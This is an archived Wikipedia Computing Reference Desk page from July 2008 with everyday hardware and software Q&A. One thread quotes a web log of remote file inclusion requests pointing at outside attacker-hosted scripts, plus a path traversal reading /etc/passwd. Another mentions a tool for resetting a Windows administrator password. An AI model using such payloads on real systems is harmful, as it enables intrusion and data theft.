Wikipedia:Reference desk/Computing: Difference between revisions
m Signing comment by 82.24.216.90 - "→How much wood would a woodchuck chuck if a woodchuck could chuck wood?: new section" |
|||
Line 612: | Line 612: | ||
Well? <small>—Preceding [[Wikipedia:Signatures|unsigned]] comment added by [[Special:Contributions/82.24.216.90|82.24.216.90]] ([[User talk:82.24.216.90|talk]]) 00:43, 17 July 2008 (UTC)</small><!-- Template:UnsignedIP --> <!--Autosigned by SineBot--> |
Well? <small>—Preceding [[Wikipedia:Signatures|unsigned]] comment added by [[Special:Contributions/82.24.216.90|82.24.216.90]] ([[User talk:82.24.216.90|talk]]) 00:43, 17 July 2008 (UTC)</small><!-- Template:UnsignedIP --> <!--Autosigned by SineBot--> |
||
:Woodchucks don't chuck wood. [[Special:Contributions/86.154.195.19|86.154.195.19]] ([[User talk:86.154.195.19|talk]]) 00:47, 17 July 2008 (UTC) |
Revision as of 00:47, 17 July 2008
of the Wikipedia reference desk.
Main page: Help searching Wikipedia
How can I get my question answered?
- Select the section of the desk that best fits the general topic of your question (see the navigation column to the right).
- Post your question to only one section, providing a short header that gives the topic of your question.
- Type '~~~~' (that is, four tilde characters) at the end – this signs and dates your contribution so we know who wrote what and when.
- Don't post personal contact information – it will be removed. Any answers will be provided here.
- Please be as specific as possible, and include all relevant context – the usefulness of answers may depend on the context.
- Note:
- We don't answer (and may remove) questions that require medical diagnosis or legal advice.
- We don't answer requests for opinions, predictions or debate.
- We don't do your homework for you, though we'll help you past the stuck point.
- We don't conduct original research or provide a free source of ideas, but we'll help you find information you need.
How do I answer a question?
Main page: Wikipedia:Reference desk/Guidelines
- The best answers address the question directly, and back up facts with wikilinks and links to sources. Do not edit others' comments and do not give any medical or legal advice.
July 11
How to transfer Favorites/Bookmarked Sites to an Email message?
I have a lot of sites in my favorites bar on Explorer and bookmarked in Firefox. Is there an easy way of copying them to an email and sending them to someone? 92.1.124.26 (talk) 00:11, 11 July 2008 (UTC)
- In firefox, click on Organize Bookmarks, then Import and Export, and export as HTML. Then, copy/paste that HTML or attach the HTML file to an email. -- kainaw™ 00:28, 11 July 2008 (UTC)
- In Firefox, you can import the Internet Explorer Bookmarks then send use the above method of creating a HTML file by Bookmarks->Organize Bookmarks->File->Import->from: Microsoft Internet Explorer->Next->Finish.--droptone (talk) 12:12, 11 July 2008 (UTC)
- You can export them directly from Internet Explorer 7 by going to File --> Import and Export... --> Export Favorites.--Hello. I'm new here, but I'm sure I can help out. (talk) 18:57, 11 July 2008 (UTC)
Source videos
I recorded a video via the in game console in Team Fortress 2. Is there a way to view it out of the game? Also, if it's in some weird video file, how can i convert it to something more common (.avi .wmv)? --Randoman412 (talk) 02:50, 11 July 2008 (UTC)
- It depends on whether it is truly recording it as "video" or if it is storing it as in-game information (it's the difference between it saying, "pixel 1 goes here, pixel 2 goes there" and it saying, "render player 1 shooting his gun from this angle, render player 2 shooting it from another." My bet is that it doing the latter, in which case you won't be able to view it outside the game unless you actually record it as "real" video (e.g. through something that captures the current image on the screen). But knowing the file name/format would help out a lot in answering a question like that.
- In general, converting (specifically, transcoding) between video formats ("real" video formats) can be done with ffmpeg, though keep in mind you're going to lose some-to-a-lot of quality when you do so. --98.217.8.46 (talk) 03:57, 11 July 2008 (UTC)
- You might try something like fraps APL (talk) 03:59, 11 July 2008 (UTC)
- I looked into it a little more (aren't I nice?), and this page seems to describe how to convert the in-game files into "true" video files that you could view with normal video programs. It seems like the best you can do is export all the sound as a WAV and then export individual frame from the movie as TarGA files, and then you can use VirtualDub to combine them together into an AVI file.--98.217.8.46 (talk) 04:05, 11 July 2008 (UTC)
- Is there an easy way to get this video together without taking 10+ gigs hard drive space? Or something other then fraps? --Randoman412 (talk) 01:38, 12 July 2008 (UTC)
- You can easily convert an uncompressed AVI to use any number of video compression codecs Nil Einne (talk) 13:35, 12 July 2008 (UTC)
- Like...? --69.127.64.22 (talk) 23:11, 12 July 2008 (UTC)
- Is there an easy way to get this video together without taking 10+ gigs hard drive space? Or something other then fraps? --Randoman412 (talk) 01:38, 12 July 2008 (UTC)
Turn off
Everytime I get an e-mail from someone not on my mailing list, I get a "Spam Mail Summary" message about a day after I get the message. How can I turn off these "Spam Mail Summary" messages? I've tried replying to the sender of that junk, saying "Stop giving me this 'you may have got spam mail' junk; I don't need it", but not only do I not get a reply back, but I *still* get "Spam Mail Summary" messages. Please help. 208.76.245.162 (talk) 06:15, 11 July 2008 (UTC)
- This appears to be a feature of Lightspeed Systems' email programs. Who provides your email service? — Matt Eason (Talk • Contribs) 09:59, 11 July 2008 (UTC)
- Summaries aside, you will get further faster with better filters. Many spammers will simply ignore "please stop" messages, especially since many spammers are botnets.89.241.136.11 (talk) 11:05, 11 July 2008 (UTC)
- The OP is sending those to the address the summaries are coming from (presumably an unmonitored address), not to spammers. — Matt Eason (Talk • Contribs) 12:33, 11 July 2008 (UTC)
- Wow, they send you an unwanted e-mail to warn you that you may have been sent an unwanted e-mail ? I wonder who the brilliant person is who came up with that idea. I think AOL did that briefly, but soon figured it out. StuRat (talk) 21:35, 11 July 2008 (UTC)
- How about marking the spam mail summary email as spam in Mozilla Thunderbird (or your other email client)? 67.173.249.88 (talk) 22:58, 11 July 2008 (UTC)
- Which email client or webmail service are you using? The good ones allow you to set up simple filter rules which will automatically block emails based on certain criteria. For instance, you could have it auto-delete an emails with "Spam Mail Summary" in the title. Nice and easy. 24.76.161.28 (talk) 06:19, 12 July 2008 (UTC)
microsoft outlook won't open if i'm offline..
I don't know why, can I open the attachments in my pst file at least? Thanx in advance --Ulisse0 (talk) 20:06, 11 July 2008 (UTC)
As long as your data files are uncorrupted, you have nothing to worry about. MS Outlook is a fine (though very huge) program that was designed to work in online as well as offline modes. It seems strange why it would not open when you are not on the Internet. Could you give us more information on the attachments, have ample disk space, you might want to import your pst files into Mozilla Thunderbird. Kushal (talk) 01:28, 12 July 2008 (UTC)
July 12
the catch with shutterfly
what's the catch with shutterfly? are they just as harmless as Sun Java, who as a well known writer put it, opened a huge, free amusement park, opened it for business for everyone, and started selling candies in one of the many competing candy stores at the front gate of the amusement park? Surely, there must be a catch in it? what are the drawbacks of shutterfly? 67.173.249.88 (talk) 01:22, 12 July 2008 (UTC)
- If you mean Shutterfly, the site, they are probably as "harmless" as any website that seeks to offer you a service of some sort, hopes to build a big audience, and then will ram ads down your throat until no tomorrow in order to turn a profit, or have you join with a pay account, or whatever. I don't see anything particular nefarious about them, or unusual. Perhaps you could be more specific about what you mean. --98.217.8.46 (talk) 21:43, 12 July 2008 (UTC)
- For starters, are the images I upload public or private by default? and do they claim copyrights for my photos or something. I mean, if what I perceive as Shutterfly's business model is indeed its business model, and it is profitable, Yahoo! and Google should have come running after to match (or exceed) the offer. 67.173.249.88 (talk) 13:28, 13 July 2008 (UTC)
- Well just read their site policies, they aren't hidden away. You retain copyright and ownership of anything you submit to them, but they get a right to use it for their purposes too. I don't know about public or private—if you bother to sign up you'll probably see pretty quickly. Again, I'm not sure why you'd assume there is a "catch"—it's just another photo hosting web service. They're probably just hoping to get bought out by Google like everyone else out there. --98.217.8.46 (talk) 16:42, 13 July 2008 (UTC)
Ubuntu - Audigy Platinum checklist
Hi, I'm running windows whenever I actually want to have sound, which is depressing because I like some of the free music software for linux better than the free pc stuff (I know audacity is cross platform but there's some other stuff). I can try my luck with some kinds of manuals and message boards out there some more but I'm kind of not having much luck. I can't get my front plate (with all the fancy connection ports) to work in either windows or linux and I can't get any sound at all in linux. At this point I guess I'll be satisfied to get the front plate working in windows (even though I'll have to switch back and forth to use Hydrogen) and get the soundcard working in ubuntu, but if I can get the front panel working in ubuntu that would be the best. What are the parameters or aspects or what-have-you that I need to account for to make it work? Can you give me a little overview of the components that make it all (ideally) come together? I was able to get the alsamixer going and make sure nothing's muted and I think I installed a driver for my soundcard but it didn't do anything so I dunno. Thanks. -LambaJan (talk) 02:17, 12 July 2008 (UTC)
- Have you tried this? Try looking around the forums to see if there are howtos and the like. Creative's drivers are very dodgy, on both Windows and Linux; is there a reason why you NEED to use the card? --antilivedT | C | G 04:56, 12 July 2008 (UTC)
CSS
Hello Wikipedia. Does anyone know of a really great CSS tutorial? I've been working on a new website for a little while now, and I'm having the hardest time getting to div's two sit side by side. So if anyone has some advise, or a good place to start looking, that would be great. Thanks in advance! jesusfreak210 (talk) 05:05, 12 July 2008 (UTC)
- The best CSS video tutorials are from Lynda.com and VTC.com. You have to pay for those, though. I'm sure that there are free ones, too, but I just use those two sites.--Hello. I'm new here, but I'm sure I can help out. (talk) 05:12, 12 July 2008 (UTC)
- Try this :
this is left
this is right
- Yes, go to Western Civilisation and browse around their excellent CSS materials, free of charge. IFF you're feeling grateful or want an augmented version of this, pony up the modest sum required; but even if you pay them nothing you're not subjected to any nagging about it.
- I'd supplement this with a book. There's some dreadful stuff available (even O'Reilly is now churning out huge books bulked up with pointless margins, cartoons, etc.) but I like Eric Meyer's Cascading Style Sheets 2.0: Programmer's Reference (ISBN 0072131780). -- Hoary (talk) 11:17, 12 July 2008 (UTC)
Google Apps location
When I put www.google.com in to the address bar of Firefox 3 I get redirected to www.google.co.uk and I'm in the UK so that's not a problem. But When I want to use Google Apps and I put in www.google.com/a it sometimes changes the language from English, presumably thinking that I'm in a different country. It seems to be something different each time I use it. Today its coming up in Turkish. Anyone know why this is? Jooler (talk) 07:36, 12 July 2008 (UTC)
- Are you using Tor? This will mess up google's language (apparently set by tracing your IP). JeremyMcCracken (talk) (contribs) 02:06, 15 July 2008 (UTC)
Free anti virus
Hello people, what is the best free anti virus around? Whatever Anti virus suggests, doesnt seem to be free 59.94.237.192 (talk) 08:14, 12 July 2008 (UTC)
- Do you mean gratis or libre? We have list of antivirus software#Freeware and list of antivirus software#Open source depending. Algebraist 08:46, 12 July 2008 (UTC)
- AVG is free; I used it until they came out with version 8, which I don't like. I now one called ClamWin, also free. JeremyMcCracken (talk) (contribs) 19:49, 17 July 2008 (UTC)
Usually your ISP will provide an antivirus for you. If not, then I suggest AVG. It is thorough and does all you would need. Just google AVG Free.
Unfaithful browsers
Dear all ! story is this for a long time I used IE then few months ago i downloaded Firefox,both worked superbly whenever these were used.But now both are unwilling to open any web page.I was using IE6 but after it was updated to IE7 it has become totally useless.What might be the reason?Moreover suggest me a good site for real player free-download.--Catherine.michi (talk) 10:35, 12 July 2008 (UTC)
- Wait, you can't get to any websites with either IE or Firefox? Are you sure your network connection is working? It sounds like your internet connection is simply down. Is that what's happening? Can you use other internet-apps, like AIM (or any other IM-client) or iTunes or Windows Update?
- As for RealPlayer, there is a free version of it. Just go to www.realplayer.com and click on the "Free Download" link. You don't have to pay a dime. --Oskar 11:06, 12 July 2008 (UTC)
- Though it boggles the mind as to why anyone would actually want to download RealPlayer... « Aaron Rotenberg « Talk « 13:39, 12 July 2008 (UTC)
- The most recent version isn't so horrendous (it's a little horrendous), and if you need to play Real videos (which many sites still use), you don't really have much of a choice (any alternate solutions are just pains in the ass in comparison to just using real player). --Oskar 14:08, 12 July 2008 (UTC)
- Though it boggles the mind as to why anyone would actually want to download RealPlayer... « Aaron Rotenberg « Talk « 13:39, 12 July 2008 (UTC)
- I have had enough troubles playing the BBC Nepali on my mac without the realplayer for me to go get real player. Kushal (talk) 17:24, 12 July 2008 (UTC)
Thanks guys!I got it.--Catherine.michi (talk) 20:33, 12 July 2008 (UTC)
Network administration question
As network administrator of an engineering company what permissions should i have to grant to company's executive,Managers of different departments and engineers?Please explain.--Catherine.michi (talk) 11:05, 12 July 2008 (UTC)
- Well, on the most basic level, this depends on a whole bunch of things: What kind of systems are you using -- i.e., what are you granting permissions to? What do they need access to? What kind of security policies do you guys have in place? What kind of problems could you expect from the permissions? (Could they access confidential information they shouldn't have access to? Could giving them access increase the risk of an unauthorized third party getting into the system? Or could they simply break something by accident? That kind of stuff.)
- A good rule of thumb is that in order to maintain a secure system, you shouldn't give anyone any access they don't actually need for their work. This kind of a practice has been known to occasionally lead to confrontations with people who think their authority is being challenged -- "I'm the CEO, I should have access to everything!" -- but it's not really a question of authority, it's a question of balancing work requirements with security requirements. -- Captain Disdain (talk) 12:27, 12 July 2008 (UTC)
- OK fine.One question more,if i have to provide IP addresses to 125 computers then I think two IP addresses are enough to be purchased.If this is the case then how many bits sub-netting should be done to fulfill the requirement.--Catherine.michi (talk) 20:38, 12 July 2008 (UTC)
- I'm not sure how you could possibly be a network administrator and be clueless about how many bits are required to count to 125, but then you probably don't really care about this stuff as long as you get a good grade on your homework. By this part of the class, you should know what an IP address is and you should know that it contains four numbers, each from 0 to 255. So, if the first three are fixed, the last one can still has 256 possible values (which is more than 125, in case you are wondering). If you fix the first bit of that last number, you get half the possible number - only 128 (again, that is more than 125). If you fix the first two bits of the last number, you half it again - only 64 possible numbers. That is less than 125. Hopefully you can complete the rest of it on your own. -- kainaw™ 03:19, 13 July 2008 (UTC)
- You'll only need 1 IP address per site. The internal IP addresses are going to be in a private sub-net (192.168.x.x or 10.x.x.x) so they won't need a public IP address. All of your computers will share a single public IP address.
- You really need an expert in this kind of thing if you have a network of 125 computers. If you just try to fake your way though it you'll end up doing yourself and your company a disservice. ---J.S (T/C/WRE) 17:49, 18 July 2008 (UTC)
I'd like to plug the people who made my TV...
Instead of having a TV/Video button on the remote, it "detects" if RCA cables (red/yellow/white cables) are plugged in and then switches to video mode. This might be acceptable if you plugged the cables in on the side in an easily accessible location, but, alas, they plug in the back. My TV is pushed into a corner of my bedroom so that the back of the TV is quite inaccessible. Due to the small size of my bedroom there doesn't seem to be a way to place it so that the cables can easily be plugged and unplugged when I want to switch between my DVD player and TV. So, just how does the TV "detect" that the cables are plugged in and is there any way I can trick it without actually unplugging the cables ? It's a Quasar VV8220. StuRat (talk) 15:32, 12 July 2008 (UTC)
- You've probably tried this, but let's start with the obvious : Does it go back to TV mode if the DVD player is off? APL (talk) 15:43, 12 July 2008 (UTC)
- The connectors on the TV into which the RCA cable connectors are plugged can be designed to detect the presence of a plug. It may be a purely mechanical arrangement (sensing the presence of the center pin of the plug) or it can be a jack that notices when the ground ring of the plug shorts together two portions of the jack. Or, as APL infers, the TV could detect the presence of an audio/video signal coming in on the RCA jack. But this whole scheme sounds very limiting -- are you sure there's no way to convince the TV to switch back to "broadcast" mode?
Turning off the DVD player and/or the TV doesn't reset it to TV mode. I'm thinking it's a mechanical sensor on the center pin. Any other ideas ? StuRat (talk) 00:35, 13 July 2008 (UTC)
- That's an immensely stupid design. However, If you don't mind losing a small amount of quality (not much, I suspect.) I'd say dispense with the TV's RCA inputs altogether, and get a RF modulator and feed the signal in through the coax jack. If you get one with a built-in switch it may even be not uncomfortably inconvenient. Look at this manual for the Radio Shack Auto-Sensing 4-Way Stereo A/V Selector & RF Modulator. It's also surprisingly inexpensive for a Radio Shack product. I suspect that you could plug your DVD player's RCA plugs and your cable into this device's inputs, and run its coax output to your television. Good luck. APL (talk) 01:02, 13 July 2008 (UTC)
- That might be a possibility. I assume it can pass any input through as an identical output (S-VIDEO to S-VIDEO, RCA to RCA, and RF to RF). I'd also guess it downconverts S-VIDEO inputs to RCA or RF outputs and downconverts RCA inputs to RF output. I'd guess that it can't upconvert RF inputs to RCA or S-VIDEO outputs or upconvert RCA inputs to S-VIDEO output. Am I correct ? StuRat (talk) 06:59, 13 July 2008 (UTC)
- That's what it appears to do. I've never used that exact piece of equipment. APL (talk) 15:17, 13 July 2008 (UTC)
- TVs usually have a TV/AV button on the remote control or on the front panel, but sometimes just selecting channel 0 repeatedly switches between the TV mode and the various other inputs. Astronaut (talk) 05:54, 13 July 2008 (UTC)
- This could be the answer. I've noticed that some TVs I've used in hotel rooms have the composite input on the channel list as though it were another channel. Have you tried setting the channel to 2 and clicking "down" a couple of times? APL (talk) 15:17, 13 July 2008 (UTC)
- No, that doesn't appear to work. Whenever I try to go to a station it doesn't recognize, like 0, it just stays on the current channel. If I go down from channel 2 it just goes to the highest channel number it finds. This doesn't switch it over to TV mode, though, so I only see the channel change when I unplug the RCA cables. StuRat (talk) 16:01, 13 July 2008 (UTC)
One other bit of info; the video RCA jack and single (mono) audio RCA jack apparently work independently, as follows:
Video Audio RCA RCA Jack Jack Plugged Plugged In In Result ======= ======= ======================== No No Video from RF/audio from RF Yes No Video from RCA/audio from RF No Yes Video from RF/audio from RCA Yes Yes Video from RCA/audio from RCA
So, I can apparently play the video from one source and the audio from another, although I don't know why I would ever want to. StuRat (talk) 16:18, 13 July 2008 (UTC)
- (Although I realize you're describing a mono input, conceptually,) you might have wanted this "separate" behavior in the days before TVs grew stereo (MTS) sound and simulcasting was occasionally done. FM also provided much better fidelity than TV sound.
I just verified that it does go off the center pin pressure by inserting a rod about the same size as that on the RCA jacks. So, the only way to switch between RCA and RF using a remote would then be to have a device which physically inserts or pulls out the plugs when it get's the proper signal. Does such a device exist ? I suppose the alternative is to open up the TV and attempt to rewire how the RCA jacks work or, as suggested previously, just accept the lower quality and use the RF input exclusively. Another thought, is there a device that takes RF antenna input, selects a given analog channel, and sends that via RCA jacks ? StuRat (talk) 16:40, 13 July 2008 (UTC)
- I'd go either for the rewire - it's only a switch after all (watch out for ALL the wires in the tv -they tend to have capacitors and the like storing massive voltages even when switched off..)
- OR buy a set-top box - RF signals are mostly far worse than RCA composite (from experience).. What country?? In the UK you can get a set top box for less than £20 now, and that should also accept your dvd input (does the dvd have scart output - that's quite important here) - the set top box solution would be a little more expensive than the RF modulator probably but definately better quality. If you're in the US or HongKong or wherever then I have no idea.87.102.86.73 (talk) 19:55, 13 July 2008 (UTC)
- It's in the US. But, out of curiosity, just what would the "set top box" do for someone in the UK ? Convert RF input into RCA outputs ? My DVD player has S-VIDEO and RCA outputs, but no RF (do any of them have RF ?). And definitely no SCART output, that must be a European thing. StuRat (talk) 23:04, 13 July 2008 (UTC)
- Yes a 'set top box' is effectively an external TV tuner with composite/component outputs, as well as a by-pass for other things..87.102.86.73 (talk) 10:48, 14 July 2008 (UTC)
- It's in the US. But, out of curiosity, just what would the "set top box" do for someone in the UK ? Convert RF input into RCA outputs ? My DVD player has S-VIDEO and RCA outputs, but no RF (do any of them have RF ?). And definitely no SCART output, that must be a European thing. StuRat (talk) 23:04, 13 July 2008 (UTC)
- A quick search of Radio Shack and I can't find any analog set-top boxes. (possibly under the name 'TV tuner') I know they exist, and certainly you can rent them from the cable company. However, Consider that you'll probably need a digital one come February anyway. APL (talk) 06:07, 14 July 2008 (UTC)
- I have a CECB, which produces RCA output. I also have two Canadian stations which I want to continue to get in analog until they switch over 2.5 years after the US. So, a "set-top box", if it allows me to switch between an analog TV RF input, and RCA inputs containing digital TV converted to analog, and RCA or S-VIDEO inputs from my DVD player, with RCA outputs in all cases, would solve the problem nicely for me. Ideally this set-top box would send RCA outputs from the DVD player if it gets input from there, or RCA outputs from the digital TV if it gets input from there, or RCA outputs from the analog TV RF input otherwise. Alternatively, if the same remote that comes with the box to change analog channels also flips between inputs, that would work, too. StuRat (talk) 12:49, 14 July 2008 (UTC)
Sounds like a pretty stupid design. If you can afford a different TV, that might the way to go. Astronaut (talk) 23:15, 13 July 2008 (UTC)
Strange requests
I often see a lot of requests like this in my website's log:
/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=ftp://81.177.8.194/Upload/trem/old? /~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=ftp://81.177.8.194/Upload/trem/1? /~grawity//index.php?_SERVER[DOCUMENT_ROOT]=ftp://81.177.8.194/Upload/trem/old? /~grawity//index.php?_SERVER[DOCUMENT_ROOT]=ftp://81.177.8.194/Upload/trem/1? /~grawity//index.php?option=com_zoom&Itemid=&catid=&mosConfig_absolute_path=http://www.iglesialcs.cl/newweb//images/stories/.bash/in.txt? /~grawity/index.php?inc=http://www.sonduzluk.com//administrator/components/com_joomla-visites/core/include/i??? /~grawity/index.php?option=com_virtuemart&task=&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/sobatmu/echo.txt?? /~grawity/index.php?header=http://www.globalcare.or.kr/donor/tst.txt?? /~grawity/index.php?get=http://www.tikkieterug.nl/administrator/backups/sistem.gif? /~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=http://www.bicarabuku.com/mambots/system/sql.txt? /~grawity/index.php?body=http://www.wow-unbreakables.de/phpBB2//language/lang_english/email/id.txt?? /~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=../../../../../../../../../../../../../etc/passwd%00 /~grawity//index.php?option=com_letterman&task=view&Itemid=&mosConfig_absolute_path=http://itmovement.com/taxy/templates_nogui/editor/_samples/id.txt?
LOTS of requests like this. (Obviously, they don't work.) Should I notify the ISPs, or just don't bother with it? --grawity 18:20, 12 July 2008 (UTC)
- Well, they're obviously trying to "hack" your site, hoping that you've written code so sloppy that if they throw in a few variables suddenly your server will spit back to them anything they want. I doubt notifying the ISPs will do anything much, though. --98.217.8.46 (talk) 18:34, 12 July 2008 (UTC)
- ...and so far, zero attempts were successful. Plus, I found an interesting FTP site in one of the requests. I'm only asking because it kinda wastes the bandwidth of my host (http://rootshell.be/). --grawity 19:26, 12 July 2008 (UTC)
- You can try and contact the system administrator of the FTP site. His e-mail addressis written in that .txt file with a garbled name. Also, he says in that file that the FTP server hosts files for some game server and that he isn't responsible for the contents of the /Upload folder, meaning he can try to find who the hackers are and that could scare them off. Admiral Norton (talk) 20:04, 12 July 2008 (UTC)
- They're very very likely to come from a slave machine on a botnet (the days of the joyriding amateur Berferd are long gone), so even if anyone were to trace the (apparent) origin they'd only find a poorly maintained Windows machine - and so (if you did tell them) your ISP probably won't do anything about it. It probably isn't using really that much of your bandwidth, as an http request for a non-existent page and the resulting 404 really should only be a few hundred bytes. If the attacks became so frequent that it really was starting to deny service (which is generally due to the network stack getting gummed up with all its socket slots in TIME_WAIT then whoever runs your firewall (which I'd imagine is your ISP) can write a little script that inspects packets thus:
if the received packet contents match a known-attack-pattern: blacklist the originating IP for 30 mins force the TCP socket closed, and immediately reclaim the socket slot
- But mostly its value is in reminding you that skilled people really are trying to hack your website every day.. -- Finlay McWalter | Talk 20:12, 12 July 2008 (UTC)
- Well, not that skilled. These are just little injection queries probably run by slave botnets in order to create more slave botnets. They're probably totally automated. I once ran a mail server that got a few machines that tried to do this to it over and over again for awhile. I just blocked the IPs when they came up and eventually it stopped. (Amusingly the bots were trying to use Windows exploits, but the mail server was on a Mac. So it was kind of sad and pathetic.) --98.217.8.46 (talk) 21:24, 12 July 2008 (UTC)
Portrait Mode Monitors
Which monitors can be flipped to the portrait mode? I have been searching online for a couple of weeks and I've only come up with a couple. There must be a faster way. Thanks for any help. Robert Myers —Preceding unsigned comment added by 68.154.27.173 (talk) 18:53, 12 July 2008 (UTC)
- With the X Window System, it's easy to rotate or reflect the screen, so you can just get an ordinary LCD panel or whatever, mount it in portrait mode, and then set up X to have the correct orientation. I can even do it right now on my laptop (the only problem is that the keyboard is stuck at the wrong angle). I wouldn't be surprised if Windows or Mac OS X have similar features. —Keenan Pepper 23:48, 12 July 2008 (UTC)
- I did once succeed in that trick on Windows XP, but I was using a CRT monitor that can't be rotated. Admiral Norton (talk) 00:10, 13 July 2008 (UTC)
- At work, I use a LCD monitor which can be turned to a portrait orientation. TBH I haven't tried turning it by more than a few degrees, so I've no idea if the driver switches the display round as well. I'm at home at the moment so all I can say is that it is made by IBM, but I try to post an update on Monday with the model number. Astronaut (talk) 05:36, 13 July 2008 (UTC)
Keep in mind that even if you turn an LCD physically it doesn't mean it was built to show the picture correctly. I tried turning an old IBM LCD on its side and the picture was horrible. --mboverload@ 05:42, 13 July 2008 (UTC)
- Old LCDs used to have a pretty narrow viewing angle with brightness and especially color shifts occurring as you went "off-axis"; this may have been the reason the picture was horrible. This is less of a problem with modern LCDs which have pretty amazing viewing angles. And, per the original question, Mac OS X supports rotating the monitors although not all of the Apple Cinema Displays mechanically allow rotation using their provided stands. (Do any?)
- My monitor is an IBM ThinkVision 9417-HB7 (manual here) and it doesn't rotate the display automatically. The display card/driver is Intel's Graphics Media Accelerator (82915G/GV/910GL Express Chipset Family) and has a rotate function in the settings. The monitor seem a couple of years old, but perhaps you could find one on the used market. Astronaut (talk) 09:06, 14 July 2008 (UTC)
- Assuming you can find a monitor that can stand being physically rotated, make sure your graphics card and associated software is able to rotate the display. I once had to explain to my mother by telephone how to return a display to normal orientation after the hotkey sequence had been accidentally triggered by my pet cat. -=# Amos E Wolfe talk #=- 13:30, 15 July 2008 (UTC)
Scipting with Visual Basic.NET
Hi,
Does anyone know if it's possible to script using Visual Basic.NET? I know some VB.NET, but I don't know any VB Script. When I try to type VB.NET into a file and save it with the .vbs extension, it does not work.
Thanks,
Hello. I'm new here, but I'm sure I can help out. (talk) 23:15, 12 July 2008 (UTC)
- VBScript does not work in VB.NET. VB.NET is not really VB in the old sense—it's a different language, something of a hybrid between scripting and a more structured language.
- There are ways to import VB6 projects (which are basically VBScript) into VB.NET automatically—maybe there's a way to import VBS? No clue. If it's just a very small amount of code you could try posting it here—it's not that hard to convert if you know your way around both languages. --98.217.8.46 (talk) 23:52, 12 July 2008 (UTC)
- Thank you, but I'm looking to create scripts written mostly in Visual Basic.NET. I appreciate the coding offer, but it's more of a long-term need, rather than a single project. I wonder if the Windows Scripting Host can be extended to recognize VB.NET code?--Hello. I'm new here, but I'm sure I can help out. (talk) 00:53, 13 July 2008 (UTC)
- VB.NET isn't a scripting language as mentioned above. You could, however, create a simple console application and run it without having to output to System.Console. I do this all the time and I never hesitate to create a simple console application whenever I feel like automating something. Create a new console application, write the code and run whenever. I don't understand why you don't want to run an exe file as opposed to a vbs file. If the black console window is bothering you there are ways to hide it. If you want to compile without visual studio you could simply use vbc.exe. --Yousifnet (talk) 01:25, 13 July 2008 (UTC)
- Honestly, if you can use VBScript, you could probably figure out the relevant VB.NET without too much effort—it's not totally foreign from old school VB. It all depends on what you are doing. You can make it run as a console or hidden in the background or whatever you want. --98.217.8.46 (talk) 02:06, 13 July 2008 (UTC)
- If your requirement is to run ad hoc scripts written in a VBScript-like language, then you can use the compiler classes in .NET to compile your script into a .NET assembly, and then load and run it. Once you've written your original utility which compiles the scripts (you'll need Visual Studio for this) you can then compile and run scripts using just the standard .NET CLR. KiwiBiggles (talk) 03:47, 13 July 2008 (UTC)
- Uh, just in case anyone is wondering, that would not be a trivial thing to do. --98.217.8.46 (talk) 16:27, 13 July 2008 (UTC)
July 13
Editing SVG files
I run a PC with XP. I have both Paint Shop Pro X and have downloaded Inkscape. Both programs when I endeavour to edit Image:Gamma plot.svg omit the red lines. Why? What can be done about it? -- SGBailey (talk) 00:04, 13 July 2008 (UTC)
- Inkscape doesn't seem to like the stroke style used to draw the red lines. Here's how to edit everything - open the diagram in inkscape, edit>selectAll, then set the stroke-style to flat colour. That zaps the colour info, but does make all the lines visible (and restoring the colour info shouldn't be much work). -- Finlay McWalter | Talk 00:15, 13 July 2008 (UTC)
- On looking at it, the affected objects have
stroke:currentcolor
definitions, and this Inkscape bug suggests Inkscape doesn't render that correctly. Indeed some of those reporting on that bug complain they get it with SVGs generated by GNUplot, which generated this particular plot. -- Finlay McWalter | Talk 00:21, 13 July 2008 (UTC)
- On looking at it, the affected objects have
- Yeah, doing a replace-All (in emacs) of "currentcolor" with "red" (just as an example) fixes the problem (there's a few too many red things, but that's easy fixed). __ Finlay McWalter | Talk 00:25, 13 July 2008 (UTC)
Thanks -- SGBailey (talk) 11:22, 13 July 2008 (UTC)
Admin. Password win. XP
on a visit to my Grandpa's (a rare ocassion) i found that his pc was not working properly, when i turned it on a HP invent logo popped up for a long time and than after a long time it would say something like boot disc failure... well anyways after mch trouble i managed to find out that the harddrive was the problem, so i ran over to circuit city and bought a new one real quick and then plugged everything back in and ran te system recovery discs (took a ver long time cuz there are 8 discs and all of them take around 20 minutes)
- Well anyways now everything looks great although when turned on it goes to a login screen, the only acount being the adminstrator's, ive tried a TON of different things including just leaving it blank but nothing will work...
This computer happens to be my uncle's who passed away recently so there is no way to ask him what he had the password set as, even though i do not think that would be the problem cause i switched out the harddrive Any suggestions on what i am supposed to do, everything will be much appreciated, please excuse my formating errors —Preceding unsigned comment added by 67.190.43.252 (talk) 03:33, 13 July 2008 (UTC)
- There are quite a lot of utilities that will help you with this. Try http://home.eunet.no/~pnordahl/ntpasswd/. Basically this (and all the others like it) have you boot to a floppy disk which runs a flavour of Linux, and mounts your NTFS hard disk. It then has a utility which lets you set the Administrator password for Windows. Of course it gives you call kinds of scary warnings, but I've used it several times on systems where the user has disappeared or forgotten their local admin password, and it's always worked reliably for me. Hope this helps. KiwiBiggles (talk) 03:44, 13 July 2008 (UTC)
Merging iTunes Playlists
How would I go about merging 2 iTunes playlists? I have been ripping my music at the highest bitrate for several weeks now... and the 320gig external HDD I assumed would be large enough just topped out. So I am going to move that file to one of the teraboxes I have, but none of them atm has enough room itself for the folder, so I would like to continue ripping my music from CD's to another external hard drive, and later when I get the space issues all figured out, merge them into one folder, and one playlist. so my question is, how do I go about doing that? Is it even possible?
Sorry if this has been gone over before, I searched and searched but couldn't find anything in the archives. Dureo (talk) 03:53, 13 July 2008 (UTC)
- There are options to import/export songs in the File menu, but I'm not sure if this is what you're looking for. Do you want your whole library or a custom playlist? --Russoc4 (talk) 19:12, 13 July 2008 (UTC)
- I just want to continue burning to an addt ext hdd, and once I get another larger ext hdd, merge it all into one big music folder. Dureo (talk) 20:00, 13 July 2008 (UTC)
- I really don't think you can have your iTunes library in several locations across several hard drives -- at least not with vanilla iTunes. This is the kind of a thing some user might well have created a modification for, of course, but iTunes itself does not appear to have this kind of functionality. At least no user-adjustable setting seems to have anything like this. -- Captain Disdain (talk) 23:46, 13 July 2008 (UTC)
Reshuffling the directory structure of a website
